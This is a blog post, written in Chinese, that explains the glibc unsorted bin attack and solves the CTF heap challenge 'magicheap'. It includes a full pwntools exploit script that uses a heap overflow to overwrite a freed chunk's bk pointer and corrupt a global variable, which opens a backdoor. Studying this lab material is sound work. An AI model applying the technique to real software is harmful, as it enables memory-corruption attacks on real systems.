unsortedbin_attack

本文最后更新于 2024年10月25日 下午

unsortedbin_attack——magicheap

unsorted bin回顾

以下内容来自wiki

Unsorted bin可视为空闲chunk回归所属bin之前的缓冲区。Unsorted bin处于bin数组下标1处,所以Unsorted bin只有一个链表,并且是双向链表。因此Unsorted bin中的chunk不按照size进行分类,所有空闲chunk处于乱序状态

Unsorted bin中chunk的主要来源
  1. 当一个较大的chunk被分割成两部分后,如果剩下的部分大于MINSIZE,则会被放进Unsorted bin中
  2. 释放一个不属于fast bin的chunk,并且该chunk不与top chunk相邻,该 chunk会被首先放到Unsorted bin中
  3. 当进行malloc_consolidate(块合并)时,如果合并后的chunk不与top chunk相邻,则可能会把合并后的chunk放到Unsorted bin中
基本使用情况
  1. Unsorted Bin在使用过程中,采用的遍历顺序是FIFO(先进先出),即挂进链表的时候依次从Unsorted bin的头部向尾部挂,取的时候是从尾部向头部取(这里的先进先出是指取出时候的操作,插入时采取的是后进先出的顺序)
  2. 在程序malloc时,如果fast bin、small bin中找不到对应大小的chunk,就会尝试从Unsorted bin中寻找chunk。如果取出来的chunk的size刚好满足,则直接交给用户,否则就会把这些chunk分别插入到对应的bin中

unsortedbin_attack

原理

当有一个unsorted bin是空的时候和挂着chunk的情况分别如图

当无chunk时,unsorted bin 的两个指针都指向自身,而有一个chunk挂进unsorted bin 时他们的指针互指形成双链表

这时候我们通过如果某种手段将chunk的bk指针改成其他地方,就会如下

此时unsorted bin的链表结构会被破坏出现corrupted,这时我们重新申请一个合适chunk时,程序会把chunk把从unsorted bin 中摘掉,但是由于本身的结构呗破坏,所以unsorted bin的fd指针还是会指向原先的chunk(这个可以自己去网上查查),但是实际上chunk已经没了,而target变成了与unsorted bin相邻的链表,就会出现下图的情况

unsorted bin的fd指针顺着原先的chunk指向了我们的target chunk(个人认为这样教好理解),而bk指针就直接指向了target_presize,同样的target 的值就变成了unsorted bin的bk指针,变成了一个很大的值。

可以看到虽然这种方式可以实现任意写,但是内容并不受我们控制,而是随机的

接下来用个题目理解一下吧

magicheap

creat函数

这个函数很好理解,就是输入大小如何创建chunk罢了

delete函数

这个也没什么好说的,就是释放函数

edit函数

这个函数就有说法啦,这个编辑函数要求我们重新输入size,这不就坏了吗,如果这个size比创建的时候大,就造成了堆溢出

main函数

主函数也是经典的类型,并且给了后面,但是进入的条件是magic大于0x1305

思路

这道题较为简单,我就直接说思路了,前面我们刚刚学了unsorted bin attack,不就是能把任意的地址的值变大吗

我们先创建三个chunk

1
2
3
create_heap(0x20, "hollk")  # idx = 0 溢出chunk
create_heap(0x80, "hollk") # idx = 1 被溢出chunk,挂进Unsorted bin
create_heap(0x30, "hollk") # idx = 2 隔绝top_chunk

第一个chunk是为了溢出修改chunk2的bk指针,第三个chunk是为了挂进unsorted bin,第三个chunk是为了让chunk2不直接与topchunk相邻,从而让他挂进unsorted bin

接着溢出修改bk指针

1
2
payload=p64(0)*5+p64(0x91)+p64(0)+p64(0x602090)
edit_heap(0,64,payload)

可以看到此时bk已经覆盖

最后在申请chunk造成攻击

可以看到magic已经变得很大,就可以打通了

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*
io=process('./magicheap')
def create_heap(size, content):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)


def edit_heap(idx, size, content):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)


def del_heap(idx):
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))

create_heap(0x20, "hollk") # idx = 0 溢出chunk
create_heap(0x80, "hollk") # idx = 1 被溢出chunk,挂进Unsorted bin
create_heap(0x30, "hollk") # idx = 2 隔绝top_chunk
del_heap(1)
payload=p64(0)*5+p64(0x91)+p64(0)+p64(0x602090)
edit_heap(0,64,payload)
create_heap(0x80, "hollk")
gdb.attach(io)
io.recvuntil(":")
io.send('4869')
#gdb.attach(io)
#pause()
io.interactive()

参考文章

好好说话之Unsorted Bin Attack

Unsorted Bin Attack


unsortedbin_attack
http://example.com/2024/10/08/unsortedbin-attack/
作者
清风
发布于
2024年10月8日
许可协议